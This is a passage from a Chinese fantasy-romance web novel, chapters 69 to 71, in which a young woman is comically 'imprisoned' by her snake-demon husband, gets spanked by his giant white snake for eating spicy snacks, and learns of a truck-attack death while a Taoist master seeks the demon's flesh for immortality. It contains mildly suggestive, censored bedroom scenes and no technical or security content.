好……好热情,怎么刚见面就喊老公,让蛇怪不好意思的。 第69章 第69章宝宝蛇不可以吃垃圾…… 大白蛇被兰稚青抱着动不了,它只能用尾巴大致丈量了一下兰稚青的身长。 身上香香的,摸起来也软绵绵的,就是有点太小只了,还不到两米,交尾的话好像难度比较大。 但是人形的宝宝蛇真的很可爱…… 大白蛇幸福又兴奋地埋在了兰稚青的怀里,兰稚青对发生的一切都浑然不知,她昨天晚上运动过量,今天直接一觉睡到了日上三竿,原本打算翻个身接着睡,可是手脚却都被压住,她想动都没办法动。 宝宝蛇睡醒了…… 大白蛇敏锐感受到了兰稚青的动作,它连忙松开了自己的蛇尾,好让她可以自由活动。 兰稚青刚刚睡醒还有些茫然,她和眼前的大白蛇对视了片刻,半晌也反应过来昨天晚上发生了什么。 基于对沈寂的安抚,她凑过去主动亲了亲白蛇的头,打着哈欠道:“老公,我要吃鸡蛋饼。” 大白蛇被她突如其来的亲亲吓懵了,它呆滞地僵在原地,好像还没有弄清楚兰稚青刚刚都说了什么。 兰稚青见它一直僵住不动也愣了一下,她用手轻轻推了推蛇身,提高音量把自己刚才的话重复了一遍。 “我要吃鸡蛋饼!” 鸡蛋饼……宝宝蛇饿了要吃鸡蛋饼…… 大白蛇脑子木了一下,好长时间才终于把自己的脑回路理顺,它用尾巴尖卷起一个小小的传呼机递到兰稚青的面前,而后轻轻按下了上面的红色按钮。 “早上好夫人,请问您有什么需要吗?” 传呼机里传来一道冰冷的机械女声,兰稚青吓了一跳,她有些疑惑地看了一眼大白蛇,干巴巴把自己的话又重复了一遍。 “我……我想吃鸡蛋饼。” “好的,请您稍等片刻。” 兰稚青一脸茫然地盯着手里已经挂断的传呼器,似乎还没明白到底发生了什么,她有些狐疑地看了一眼旁边的大白蛇,奇怪道:“你变成蛇了就没办法说话了吗?” 昨天晚上是她没办法说话,今天早上又是沈寂没办法说话,他们两个人,不对,他们一人一蛇简直就是沟通有壁。 大白蛇晃了晃脑袋,它默默用又尾巴尖把兰稚青的手机卷了过来,示意她去看沈寂给她留的信息。 兰稚青有些奇怪地接过手机,沈寂倒是没有多说什么,只是说自己有事要处理,让她有需要就按传呼按钮,大白蛇是留下来陪她玩的,以及警告她不要试图逃跑。 “你是蛇蛇吗?” 兰稚青有些惊讶地捧起了大白蛇的脑袋,讶异道:“你不是去国外减肥了吗,怎么越长越胖了。” ?! 它哪里胖了! 大白蛇猝不及防被当成了大胖蛇,它的尾巴有些不满地拍了拍床。 兰稚青还沉浸在震惊之中,她安抚性地摸了摸大白蛇的脑袋,刚要准备再说点什么,外面就突然响起了一阵敲门声。 下一秒一个小小的机器人端着还冒着热气的鸡蛋饼滑到了她的面前。 兰稚青:“……” 现在的科技发展已经智能到这种地步了吗? 虽然从名义上来说,她现在似乎确实是被自己的合法伴侣限制了人身自由,也就是俗称的囚禁。 可 是对于本来就宅得不得了的兰稚青来说,这种状态一般可以更加准确地定义为—— 换个地方玩手机。 兰稚青一开始还不太适应这种生活状态,但是后来发现自己按一下按钮就有吃有喝,躺在床上想睡多久睡多久,打游戏看视频都不带卡顿的,甚至拿遥控器都只需要动两下嘴皮子,守在旁边的大白蛇就给递了过来。 她马上适应并且开始享受这种美妙的完美生活,甚至一度乐不思蜀。 除了机器人之外几乎见不到活人,那多好啊,使唤机器人还没有心理负担。 庄园外面有黑衣保镖二十四小时严密看守,这多安全,她虽然出不去,但是外面的坏人也进不来。 这日子过得简直就是美滋滋。 唯一美中不足的就是她心里的疑惑还是没有解开,沈寂为什么会突然死而复活她还可以用他是蛇妖来解释,可是在她翻遍了网上的新闻后,却意识到事情根本没有她想象中的那么简单。 在游乐园附近开车撞人,网上的确有那天的相关新闻,甚至还有不少旁观者发的帖子,可是那些帖子上内容都不够详细,只是说游乐园附近人行道一辆卡车突然冲出来把人撞飞,关于凶手和受害者的消息微乎其微。 再加上平台限制,有不少照片是发不出来的,大多数发出来的图片拍的都是满是血迹的路面。 兰稚青废了好大一番功夫,才终于找到了一个据说人在现场的博主,通过私信要到了当时拍下的照片。 照片里被警察带走的凶手戴着帽子口罩和墨镜,从头到尾裹得严严实实,被捕之后还一直在念叨着什么,看起来确实像个疯子。 而被他开车撞倒的人看起来应该也是个男性,体型中等上下,虽然看不清具体的面容,但还是能确定这个人并不是沈寂。 “是我出现幻觉了吗……” 可是如果真的出现了幻觉,那她为什么还会记得自己上了救护车,去了抢救室呢。 兰稚青反反复复把几秒的视频看了好几遍,刚要准备退出的时候,视线却陡然看到了在混乱人群中熟悉的背影。 虽然只是一闪而过,但她还是能认得出来。 那明明就是她的背影。 兰稚青觉得自己就像是在迷宫里迷了路,明明看起来马上就要走到终点,可是抬头一看却发现自己又走进了死胡同。 她犹豫了一下,还是默默给博主又发去了消息,顺带附上了沈寂的照片。 【不好意思,能麻烦再问您一下吗,您在出事的那天有没有看到这个人?】 【好像有点印象,哥们儿挺帅的,应该是和他女朋友一起来的,两个人身上还穿着情侣装,后来她女朋友不知道是低血糖还是被吓晕了。】 ……吓晕了? 兰稚青有些茫然,她试图努力回想起那天发生的事情,可是自己的脑中所残留的记忆却全是沈寂浑身鲜血的画面。 如果说那天真的只是她的幻觉,死的人不是沈寂,那么真正的死者又是谁? 好烦,越想脑子越疼。 兰稚青揉了揉自己的太阳穴,决定暂时还是先不想这些乱七八糟的事情,她把手机扔到一边,抱着平板开始刷起了视频。 大白蛇一直安静盘在旁边,看起来温顺无比,兰稚青刚开始还怕蛇怕的要死,后来有了蛇儿子又有了蛇老公之后彻底脱敏,直接靠着它当靠枕刷视频。 “蛇蛇,你现在又大了一圈,妈妈之前给你买的汉堡窝都不合适了,过两天再给你买新的吧。” 兰稚青刷着野营博主发的搭帐篷视频,随口道:“或者妈妈给你搭个帐篷怎么样,正好夏天快到了,帐篷还能凉快一点。” 妈妈? 宝宝蛇是它的老婆,老婆不可以是妈妈的。 大白蛇实在是没想明白其中的缘由,只能有些困惑地用头蹭了蹭兰稚青的颈窝。 兰稚青看完搭帐篷看卖霉豆腐,看完卖霉豆腐看包饭团,看完包饭团看炒辣条。 说到辣条,她都吃了好几天健康的绿叶菜了,来一口香喷喷甜甜辣辣的辣条应该不会折寿吧。 兰稚青越想越觉得有道理,她随手按下了传呼机,舒舒服服躺在沙发上等着机器人给自己把辣条送过来。 不过比机器人来的更快是却是学校辅导员打来的电话。 兰稚青看到电话愣了一下,她把平板放到了一旁,随手接起了电话。 “喂,老师……” “稚青,你弟弟的事情你已经知道了吗?” 兰稚青的话还没来得及说完,辅导员就已经飞快打断了她,匆匆开口道:“你妈妈今天打电话到学校里了,她联系不上你,所以托我过来问一下情况。” “我弟弟?我妈?” 兰稚青眉头紧皱,连忙问道:“老师,到底出什么事了?” 兰稚青打电话的时候都不和它继续贴贴了,大白蛇百无聊赖趴在旁边用尾巴尖尖戳了戳平板的屏幕,本来按下暂停键的视频自动播放,下一个视频的标题就是格外震悚的几个大字。 【震惊!吃辣条竟然就是吃垃圾!】 【近期一名初中男生因为胃出血被紧急送往医院,经过医生检查后才发现,该名男生体内重金属和各种毒素严重超标,不仅影响了他的生长发育,还会导致严重的并发疾病,据父母和同学表示,该名男生每天都要吃十几包辣条……】 视频的声音突然响起,正在打电话的兰稚青本来打算把平板关掉,可是看到大白蛇看的认真,她只能起身走得更远了一些。 “不好意思老师,能麻烦您再说仔细一点吗,到底发生了什么事?” “青青,是这样的,前两天在苍山路附近的游乐园发生了一起卡车撞人事件,你弟弟兰智正被车撞到后不治身亡,这件事情警方目前还在调查,路锡鸣的父母这边是希望能和你们家属见一面……” “等一下,老师,死的人不是兰智正吗,这和路锡鸣又有什么关系?” 兰稚青愣了一下,难以置信道:“是路锡鸣开车撞的人?” “是,听说是因为钱财纠纷,不过具体的我也不太清楚,还是要等警察的调查结果,你这边方便出面吗……” “不好意思老师,我现在不在A市,一时半会儿还没办法回去,我晚点再给您发消息吧。” 过来送辣条的机器人把辣条递到兰稚青的手里,兰稚青匆匆挂断了电话,脑子里像是被塞满了浆糊。 到底是怎么回事,路锡鸣开车撞死了兰智正…… 大白蛇眼看着兰稚青要撕开辣条的包装袋,它连忙凑过去用尾巴打掉了兰稚青手里的辣条袋子,嘶嘶朝她吐着信子。 辣条是垃圾食品,宝宝蛇不可以吃垃圾! 兰稚青被他突如其来的动作吓了一跳,她以为大白蛇是不喜欢这个味道,所以连忙坐得远了一些,可是大白蛇依旧不罢休,它追到兰稚青的身旁再一度打落了她的辣条。 兰稚青很少见到它这么暴躁,她愣了一下,妥协道:“蛇蛇,你是不喜欢这个味道吗,你不喜欢的话妈妈去别的房间吃好了。” 这个世界上怎么会有这么不听话的蛇! 宝宝蛇吃垃圾会死蛇的! 大白蛇听到兰稚青还要换房间吃,它威胁性地朝兰稚青露出了毒牙,试图借此恐吓到她。 兰稚青是真的被吓到了,她感觉大白蛇好像是生气了,可是她又实在不知道自己到底是哪里惹到了他,左思右想只能是她手里的辣条。 “好吧,我不吃了。” 兰稚青把辣条放到了旁边,大白蛇犹嫌不足,直接用尾巴把辣条扫到了垃圾桶里。 一人一蛇一边晒着太阳一边枯燥地刷着视频,大白蛇盘在沙发上看起来已经睡着,兰稚青小心翼翼从沙发上移了下去。 大白蛇听到动静顿时惊醒,但是它没有立马追上兰稚青,而是等到兰稚青躲进房间里才慢吞吞地去找她。 装睡和宝宝蛇玩捉迷藏,看看宝宝蛇现在正在做什么…… 大白蛇 鬼鬼祟祟蹭到了门边,兰稚青嘴里正叼着辣条吃的正香,听到门突然打开的声音下意识抬头看去。 果然又在藏起来偷偷吃垃圾! 大白蛇气愤地用尾巴把兰稚青卷了起来,它下定决心要给兰稚青一个教训,所以直接按着她用蛇尾抽了几下她的屁股。 兰稚青整个人都被吓懵了,半响才意识到自己竟然被一条蛇给打了。 坏蛇!坏蛇!这个家里的蛇全部都是大坏蛇! 她立马剧烈挣扎了起来,等到大白蛇松开了她,她几乎是落荒而逃跑回了房间,可是刚刚要关上门,大白蛇却又窜了进来对着她步步紧逼。 兰稚青没办法,房间里没有其他可以躲的地方,她害怕自己又被打,只能把自己埋在被子里,希望借着被子的缓冲力减少自己的痛感。 宝宝蛇把自己卷成了一个大春卷。 大白蛇急得一直绕着兰稚青打转,它想用蛇尾把兰稚青扒拉出来,可是兰稚青把自己包的密不透风,只给自己在头上留了一个可以呼吸的小洞。 它实在没办法,只能有些沮丧地趴在她的旁边。 沈寂匆匆处理完车祸的事情,几乎是片刻不敢多留,马上回到了家里。 可是家里却诡异得寂静,他皱了皱眉,以为兰稚青是还在睡觉,准备上楼去查看一下她的情况。 然而他刚刚推开卧室的门,就看到了把自己包成春卷的兰稚青,旁边的大白蛇还在着急地吐着信子,时不时用头拱她一下。 “……这又是怎么了?” 沈寂轻轻皱了皱眉,他戳了戳床上的大春卷,慢条斯理道:“小兔子快开门,Daddy回来了哦。” 第70章 第70章这不纯纯就是神经病吗…… 兰稚青听见沈寂的声音才小心翼翼把被子扒拉出一个小口子,沈寂见状顺势把她直接捞了出来。 “怎么了?” “蛇打我……” 兰稚青有些欲哭无泪,她实在不知道该怎么描述自己被打到只能钻到被子里的离奇经历。 可是她除了这个办法之外好像也的确没有更好的办法,先不提这是沈寂养的蛇,她要是打回去容易破坏家庭关系不说,最主要的是她也没东西能打回去,而且连躲都没地方躲。 如果让她赤手空拳打个猥琐男可能还简单一点,打蛇……蛇怎么打,俗话说得好,打蛇上棍,她的手才伸出去就被缠严实了。 果然后妈就是不好当。 “什么?” 沈寂闻言也愣住了,他下意识看向了旁边一脸无辜的大白蛇。 大白蛇接触到沈寂质询的眼神,它非常理直气壮地嘶嘶吐了吐信子。 因为宝宝蛇躲起来偷偷吃垃圾! “……” 啊? 宝宝蛇? 躲起来吃垃圾? 这到底都是些什么东西。 沈寂觉得自己脑子里的CPU都要**烧了,盯着眼前的大白蛇就像是在盯着一个智障。 果然有句话说得好,蛇甚至无法共情当初的自己。 他一百岁的时候不聪明也就算了,怎么两百岁的时候还这么蠢,连句话都说的颠三倒四的令蛇费解。 兰稚青趴在被子里疼得哼哼唧唧,沈寂没办法,只能暂时先放弃探究真相,转而凑过去安慰兰稚青。 “乖宝,哪里被打了,我看一下……” 沈寂掀开兰稚青的衣服看了一眼,发现她被打的地方已经肿得像个桃,大白蛇明显对自己的力气没有明确的认知,它以为的打两下,实际上和抽了几鞭子没什么区别。 “你骗我,这条蛇肯定不是蛇蛇……” 兰稚青刚开始被打的时候疼痛感还没有这么剧烈,现在缓过劲来了动一下都觉得疼。 虽然都是超级大胖蛇,可是两条蛇完全不一样,之前的蛇蛇会戴着她织的小红帽乖乖趴在她身边吃苹果,偶尔还会钻到她的怀里和她一起睡觉,但是绝对不会对她露出毒牙,更不会用尾巴打她。 沈寂有些心疼地帮兰稚青重新盖好了被子,准备帮她拿点药膏擦一擦。 兰稚青越想越觉得委屈,她莫名有一种八旬老母被中年超雄儿子暴打的绝望感。 全都是怪沈寂。 都怪沈寂把她关到这里。 还说什么大白蛇是陪她玩的,明明就是来欺负她的。 她晚上被沈寂欺负,白天还得被大白蛇欺负,她不应该叫兰稚青,她就应该叫兰小草。 兰稚青伤心把自己埋在被子里啪嗒啪嗒掉眼泪。 大白蛇没弄明白到底发生了什么,听到动静下意识想要用头去拱她,可是却被兰稚青一把推开。 宝宝蛇哭了,坏蛇!坏蛇! 大白蛇气得要去咬沈寂,但是却被沈寂眼疾手快一把抓住了脑袋。 它还有些不服气,试图用尾巴去打沈寂,可是却被沈寂左右开弓扇了两巴掌。 简直就是倒反天罡。 打了他老婆的罪魁祸首现在竟然还反过来找他的事了。 沈寂把大白蛇生拉硬拽赶出了房门,转而拿着冰袋和药膏回去准备帮兰稚青处理伤处。 “好疼……” 兰稚青刚刚碰到冰袋顿时被凉得打了个哆嗦,沈寂连忙放轻了自己的动作,低声道:“抱歉乖乖,下次让你打回来好不好?” “……算了吧。” 她怕那条蛇还会记仇,改天趁沈寂不在又把她抽一顿。 兰稚青哼唧了两声,她趴在床上有些生无可恋,根本不愿意在和沈寂继续沟通。 沈寂仔细帮兰稚青上好了药,刚刚准备把她捞起来换个姿势,却发现兰稚青已经趴着睡着了。 他轻轻叹了口气,刚要帮她盖上被子,外面就突然响起一阵惊雷,睡梦中的兰稚青迷迷糊糊又睁开了眼睛,奇怪道:“什么声音……” 沈寂低头亲了亲她的脸颊,“没事,继续睡吧,只是打雷而已。” “打雷了……我的菜熟了,我要上号收菜。” 兰稚青打着哈欠拿出手机,她最近迷上了一款种地游戏,每天激情满满种菜收菜卖菜建房子,立志成为发家致富的富一代农民。 沈寂看到她实在困得睁不开眼了,主动接过了她的手机,温声道:“你睡吧,我帮你把菜收了。” “那你收完菜顺便上线帮我挂个游戏时长,我马上就可以拿徽章了。” …… “这什么破天气,好端端的又开始下雨。” 两个道士站在道观的檐下聊天,山上和城市不同,一到雨天不仅日常生活变得麻烦,雨后还要清扫积水和落叶,平白多出不少额外的工作量。 明明现在也不是雨季,可是天变得却格外厉害,早上的时候还晴空万里,眨眼间乌云积蓄,又紧接着下起了倾盆大雨。 他们身后的房间里时不时传来老人痛苦的呻吟声,可是他们对此却像是早就司空见惯,只是偶尔在动静太大的时候才会关心一下情况。 “云飞,云飞……” 断断续续的声音突然从里面传来,守在外面的道士闻言连忙在门外喊道:“师父,您有什么需要吗?” “纪云飞……去找纪云飞。” 道士在外面应了一声,连忙打电话让纪云飞快点过来。 纪云飞原本还在帮着其他师兄画符,接到电话后匆匆而来,还未问清楚情况,守在 外面的道士就催他快些进去。 “师兄,这……是不是不太好啊,师父还在里面吧?” 纪云飞听到这个要求未免有些迟疑,他干巴巴道:“师父不是说过他静修的时候不允许外人擅入的吗?” “就是师父让你进去的,赶紧的,别耽误了。” 纪云飞被两人之间推进了室内,他还有些茫然,只能在空荡的房间内四处搜寻正泽大师的身影。 一道痛苦的呻吟声从衣柜的旁边传来。 “……师父?” 纪云飞吓了一跳,连忙想要上前查看他的情况,可是看到眼前的景象却蓦然一惊。 正泽大师蜷缩在角落,苍老干瘦的躯体就像是毒蛇蜕皮一样褪下一层灰白的皮肤,露出里面崭新的更为年轻的皮肉。 明明在昨天他还是一具干尸骷髅一般的老者,如今看起来却像是年轻了几十岁一样,从一个半死不活的老头变成了一个中年人。 正泽大师本名原本叫黄义则,听说几十年前梦中得仙师传授,给自己取了个法号为正泽,据传言他能勘破天机,但深居简出,见过他真容的有的说他看起来像八。九十岁,有的人又说他身体很好,看上去最多五六十岁。 总之外面对他的年纪和状态都众说纷纭,但唯有他名下的几个亲近的弟子知道,他既是八。九十岁,又是五七十岁,甚至有的时候还能像三四十岁,一年三百六十五天,他自惊蛰开始重返青春,而后逐渐衰老为老人的模样,直到第二年的惊蛰。 因为他神乎其技的变化,他身边的弟子都打心眼里认为他是真的有什么法术,纪云飞自然也是这么认为,可是他拜入师门三年,直到现在才看到正泽大师到底是如何重返青春的。 “师父,您这是……” 纪云飞把倒在地上的正泽大师扶了起来,正泽大师靠坐在衣柜旁,低声问道:“你之前说见过蛇妖,在哪里?” “上一次你说那个姓路的小子身上有妖味,可是他只是一个普通人,你再好好想想,还有没有其他的了?” “师父,蛇妖的事情好像是我弄错了……” 纪云飞实在有些拿捏不准,只能选了一个含糊的说法应对正泽大师,却不料对方突然暴躁抓紧了他的衣领。 “弄错了?这么大的事情你怎么能弄错了!我收你为徒是为了让你做什么的?!” 正泽大师咬牙切齿道:“难道你忘了你是为什么要来当道士的吗?” 纪云飞闻言愣了一下,他有些犹豫地眨了眨眼,真的开始思考自己为什么要当道士。 他天生有阴阳眼,能看到别人看不见的东西,当道士可以物尽其用外加保护自己。 当道士包吃包住每个月只有八百块的单费,但是有不少途径赚外快,顺便还可以享受市里大学生灵活就业补贴。 归根到底当道士还是因为不爱上班。 纪云飞觉得自己这话不能直接说,所以委婉道:“师父,您需要我做些什么,能不能给我个明示。” 正泽大师和他僵持了数秒,最终还是先松开了他,自己踉跄起身给自己倒了杯药酒,直到自己的心绪平复,他才幽幽开口,“我知道你们都很好奇我为什么会变成这样,云飞,我今日就和你说个明白。” “十五年前,我曾经亲眼看到蛇妖蜕皮,他或许有几百年,也或许已经有千年。” “这种机会可遇不可得,为了能够长生,我吃下了一块蛇蜕,本以为这会是长生的开始,却不想每年惊蛰我都会受一遍剥皮之苦。” 正泽大师叹了口气,又道:“我今年已经九十三了,只是一块蛇蜕都能达到这种效果,要是有机会可以吃到他的血肉,或许我的愿望就可以真的实现。” 纪云飞听得一愣一愣的,表情由惊讶到震惊再到一言难尽。 亲娘嘞。 老头子吃野味也就算了,还真打算把蛇肉当唐僧肉吃啊。 纪云飞觉得正泽大师已经有点魔怔了,他只能先开口答应下来说自己会用心去找,让他暂时放心。 找蛇妖吃蛇肉长生不老,老头子说的倒是很简单,可是就算他能真的找到蛇妖又能怎样。 之前他一度觉得兰稚青的老公是蛇妖,难不成他还能去和兰稚青商量:你可不可以割一点你老公的肉给我师父尝尝? 这不纯纯就是神经病吗。 等一下…… 虽然兰稚青一直不信他,虽然他也一直不太确定沈寂到底是不是纯种人类,可是如果按照老头子这个算法,要是能弄点沈寂的指甲头发什么的不就能确定沈寂的身份了吗? 虽然听起来很脑残,虽然这样大概率会被兰稚青拉黑,虽然十有八。九会被当成变态,但好像似乎也确实是个简单有效的办法。 纪云飞越想越觉得在理,他匆匆和正泽大师道别,起身离开房间给兰稚青发去了消息。 纪云飞:【那个……我有一个有点冒昧的请求。】 纪云飞:【你方不方便剪点沈寂的头发指甲啥的给我啊……】 L:【?】 L:【我是沈寂:)】 70-80 第71章 第71章这是囚禁的标准化流程…… 纪云飞盯着手机上发来了消息,他的大脑一片空白,过了许久才颤颤巍巍回复了一句,【不好意思,其实我是在开玩笑,我玩大冒险输了……】 这样的借口似乎看起来有些蹩脚,沈寂并没有再回复他。 可是这种不回复远比回复更让纪云飞觉得心焦。 他觉得自己还是得赶紧回去多画点符预备着,照老头子的说法,万一沈寂真的是什么千年蛇妖,那他迟早会过来找自己追魂索命。 和千年老蛇谈恋爱,兰稚青怎么这么勇…… 纪云飞暗自在心里嘀咕了几句,他刚刚拿起伞准备回去,一个陌生的号码却突然打到了他的手机上。 纪云飞耳朵夹着手机,两手把折叠伞撑开,随口问道:“喂,你好?” “你好,请问这里是正泽大师的联系电话吗?我是路锡鸣先生的代理律师。” “啊?不好意思,你稍等一下啊。” 纪云飞匆匆扫了一眼身后,确认没有人注意到自己,这才打着伞走进雨中,小声问道:“请问您打电话过来是有什么事吗?” 他师父之前帮着路锡鸣家里的公司看风水,后来又去帮路锡鸣看中邪,现在律师突然找过来了,总不会是过来要求退款的吧? 可是他们这一行没有七天无理由退货这一说啊。 “是这样的,我的当事人路锡鸣先生强烈要求想要正泽大师帮一下忙,说是觉得自己的身边有蛇妖……额,不知道你们这边方不方便请大师出一下面。” 律师似乎也觉得自己的说法有些荒谬,他顿了顿,又补充道:“其实主要还是为了稳定一下路先生的情绪,路先生现在精神状态不太好,如果大师愿意出面,我们这边会付相应的感谢费。” 纪云飞听完律师的话眉头紧皱,他纳闷道:“可是路锡鸣不是已经被抓了吗?” 他今天还听几个师兄聊八卦,说在游乐园开卡车撞人的嫌疑犯就是之前正泽大师帮忙算过命的路锡鸣,还说什么他命中就该有此一劫。 “确实是被抓了,目前我的当事人在看守所,按照规定你们没办法直接见到他,只能由我代为转述。” 律师为难道:“路先生一直拒绝进行沟通交流,警方那边无法录取口供,而我作为他的代理律师,目前也只能通过案件的卷宗进行了解,没办法帮他进行有力的辩护。” 纪云飞闻言眼底划过些许的深思,他倒是没有直接回绝律师的要求,但也不打算告诉正泽大师这件事情。 他总有一种奇怪的感觉,总觉得路锡鸣发疯开车撞人可能十有八九真的和沈寂脱不了干系。 沈寂不知道自己在纪云飞那里已经扭曲成了一个彻头彻尾的反派形象,他现在一看到纪云飞这三个字就想起来兰稚青私底下偷偷和他见面。 一想到兰稚青私底下和绿毛道士偷偷见面他就觉得委屈又伤心,因为他现在委屈又伤心,所以他冷脸登上兰稚青的游戏给她收完了菜,冷脸帮她挂完了游戏时长,冷脸把兰稚青刚刚踢开的被子又给她盖了回去,冷脸和兰稚青亲嘴,冷脸又亲了一口她的左脸,冷脸又又亲了一口她的右脸,冷脸又又又亲了一口她的鼻子…… 兰稚青在睡梦之中总觉得自己的脸上有东西,她迷迷糊糊睁开眼睛,发现是沈寂在捣乱,她只能松开怀里的玩偶兔子,有些恼怒地伸手推了推他。 “你别闹了……” 沈寂顺势抓住她的手又咬了一口。 兰稚青被他吵醒,她略带怨念地睁开眼睛,没好气道:“又怎么了。” “刚刚那个绿毛道士给你发消息了。” “……什么?” 兰稚青闻言愣了一下,她陡然清醒了过来,下意识开口问道:“他说什么了?” 沈寂冷哼了一声没有说话。 兰稚青心里有些发慌,纪云飞的身份有些敏感,甚至还没等沈寂说什么,她就自己欲盖弥彰心虚辩解道:“我是为了还他东西才和他加上联系方式的。” 不对,她为什么要心虚。 这根本就不是欲盖弥彰,这根本就是事实真相! 她就是为了把那块桃木牌还给纪云飞 才加了纪云飞的联系方式。 “小骗子……” 沈寂把她捞到怀里愤恨地咬了一口,恶毒道:“从今天开始没收掉你的手机和平板。” 兰稚青一脸茫然,难以置信道:“为什么要拿走我的手机和平板?” “因为我现在正在囚禁你,这是标准化流程。” “……” 差点忘了,她现在还在被囚禁。 兰稚青沉默趴在沈寂的怀里,两个人的气氛陷入了一段诡异又漫长的寂静。 沈寂觉得自己又开始心慌意乱起来,如果可以的话,他真的希望自己能有读心术,这样就能知道兰稚青到底在想些什么。 在他的设想中,兰稚青被他囚禁之后或许会震惊,也或许会恐惧,更或许会开始讨厌他。 就像是兰稚青得知他是蛇之后,她做出了一系列正常人该有的反应。 和他保持距离,开始迎合他的生活习惯让他放松警惕,以及私底下偷偷联系道士。 沈寂虽然觉得伤心,可是他并不意外,因为兰稚青的所作所为的确是相对明智的决定,如果他真的是一个彻头彻尾的人类,那他完全可以无视掉所有的一切,可是他偏偏是一条蛇。 为什么他一定要是一条蛇呢。 即使他不能成为人类,那是一只猫,一只狗,一只兔子,或者是一只狐狸,兰稚青可能都不会对他这么绝情。 明明大家都是动物,为什么要搞物种歧视。 “……你到底在哭什么?” 兰稚青看到沈寂的眼泪在眼眶里打转,她微微撑起了自己的身子,诧异强调道:“现在是你在囚禁我,是你拿走了我的手机和平板!” 简直就是倒反天罡。 她这个受害者还没说什么呢,怎么沈寂就先哭上了。 “你不喜欢我,你就是嫌弃我是蛇……” “我什么时候嫌弃你了?” 兰稚青简直百口莫辩,她脸色涨红,结结巴巴道:“你……你有尾巴的时候我都和你……你两根的时候我都没有说什么,我怎么就嫌弃你了……” 沈寂抿了抿唇,小声道:“你之前宁可写论文也不和我贴贴。” “因为你一直说想要去旅行,我要先把论文写完顺利毕业才能把时间腾出来啊。” 兰稚青觉得这简直就是无妄之灾,她愤慨道:“而且是你一直在催我写论文的。” 沈寂闻言一怔,又开口道:“可是你突然行为大变,而且开始早睡早起吃绿叶菜了。” 虽然他经常说兰稚青是兔兔,可是她一点都不喜欢吃绿叶菜,每次都是象征性地吃上两口糊弄了事。 兰稚青也有些委屈,她小声道:“……因为我希望健康作息,这样身体健康就能活得久一点。” 毕竟他们物种不同,而且根据她的观察,她觉得沈寂至少也有百岁高龄了,他能活很久很久,可是她却不一定,如果她想和沈寂在一起更久一点,只能让自己的身体保持健康。 兰稚青顿了顿,恼怒道:“而且也是你一直让我早睡早起吃菜叶子的!” 沈寂闻言小声道:“可是你还去找了那个绿毛道士……” “我都说了我是为了还东西,我怕他给的桃木牌对你不好,所以才抽空还给了他。” 兰稚青气愤地拍了拍沈寂,“那个测谎仪呢,你快把测谎仪拿过来!” 沈寂没有回应,他把头埋在兰稚青的怀里,声音里还带着轻微的哽咽,“我相信你,只是怕你不喜欢我了……” 兰稚青本来还想和沈寂继续对峙,可是看到他这样又开始心软。 他们之前的关系仿佛发生了对调。 从前是她没有足够的安全感,需要一直从沈寂的身上汲取,现在没有安全感的人变成了沈寂。 兰稚青觉得自己不能这么自私,她犹豫了片刻,还是伸手抱紧了沈寂。 两个人寂静无声地抱在一起,直到兰稚青轻声开口:“老公,你现在还难受吗。” “不难受了。” “那你现在还伤心吗?” “不伤心了。” “那你现在还对我有所怀疑吗?” “没有了。” “既然这样,你可不可以不要再偷偷舔我了?” “……” 沈寂悄悄又舔了一口兰稚青的锁骨,这才恋恋不舍松开了她,可怜道:“不可以舔舔的话,摸摸可以吗?” 他纤长的眼睫上还带着泪珠,或许是因为品种的缘故,沈寂的皮肤不管晒多少太阳都是一如以往的苍白,偏偏眸色和发色都是沉沉的墨色,那张漂亮的面容在灯下看来仿佛一只勾魂的艳妖。 “也不准摸我!” 兰稚青感受到沈寂的手指又顺着她的裙摆蹭了进去,她下意识挣扎了起来,试图躲避他作乱的手指。 沈寂终于明白为什么大白蛇会说兰稚青是宝宝蛇了。 她现在趴在他身上扭来扭去,身上的衣服都被蹭乱了,看起来就像是一条小笨蛇。 “你刚刚说纪云飞发了消息……” 兰稚青后知后觉抓住了重点,她按住了沈寂的手,追问道:“他都说什么了?” 沈寂面色微沉,冷哼道:“他发消息和你要我的指甲头发。” “啊?” 兰稚青懵了一下,下意识问道:“要你的指甲头发做什么?” 沈寂平静道:“还能是做什么,不外乎是巫蛊诅咒之类的事情,那些道士也就这点本事了。” 正巧山上缺草,他早晚把这个绿毛种到地里。 兰稚青思索了片刻,总觉得纪云飞不像是这样的人,她仔细思索了一下,猜测道:“或许……额,我的意思是我们不能把人想的那么坏,或许纪云飞就是个单纯的变态呢。” 沈寂:“……” 快到清明了,看来还是把纪云飞种坟头比较好。 “乖乖,屁股还疼吗?” 沈寂决定暂时忽略掉讨厌的绿毛,他的手指轻轻揉了揉兰稚青,兰稚青被大白蛇打出来的伤虽然看着吓人,但是擦了药膏之后消肿消得也快。 兰稚青趴在他身上哼唧了两声,小声道:“我们可不可以搬回去住啊?” 沈寂闻言动作微微一顿,温声道:“怎么了,是不喜欢这里吗?” “这里的蛇不喜欢我……我觉得它可能是觉得我是入侵者,所以才会打我的。” 虽然同样是白蛇,可是小白蛇明显比大白蛇脾气好多了,兰稚青没打算让沈寂放弃自己养了很多年的宠物,她想到最合适的解决办法就是自己搬走,这样一切就又可以回归正轨。 “它不是不喜欢你,只是有点蠢……” 沈寂也有些无奈,可是他又不知道该怎么和兰稚青解释这件事,只能凑过去先亲亲她。 兰稚青没有反抗,她问了一个最关键的问题。 “手机和平板可以还给我了吗?” “可以是可以,但是在还给你之前……” 沈寂弯了弯眉眼,不知道从哪里掏出来一段丝带直接把兰稚青的两只手腕给绑了起来。 对上兰稚青震惊的控诉眼神,他无辜道:“这个也是囚禁的标准化流程。” 按照囚禁play的正常路数,他要先把兰稚青绑起来,威胁她放狠话,然后以各种莫名其妙的的理由对她口口口口口口口口。 根据他的经验,人形吃兔兔的时候,兔兔比较放松,所以像棉花糖一样软绵绵的,蛇形吃兔兔的时候,兔兔就会比较紧张,所以就会像橡皮糖一样需要慢慢嚼。 沈寂用指尖 轻轻戳了戳,感受到兰稚青在轻轻发抖,他干脆换成用牙齿去咬。 兰稚青想要推开沈寂,可是奈何自己的手腕被绑着,腿也被沈寂按着,她的一系列挣扎都只是徒劳。 大白蛇趴在外面听着兰稚青细细碎碎的哭声,它没办法开门,只能用头狠狠撞了几下门。 坏蛇!又在里面欺负宝宝蛇! “有声音,蛇在外面……” 兰稚青整个人都软在床上,听到动静不由得轻轻瑟缩了一下,连带着大腿也微微收紧。 沈寂见状也不客气,干脆顺势又在她腿上落下一个牙印,直到兰稚青哼哼唧唧抱怨,他才终于起身准备去外面看看情况。 刚刚还紧闭的房门猝不及防从里面被打开,大白蛇吓了一跳,看到出来的是沈寂更是有些疑惑地吐了吐信子。 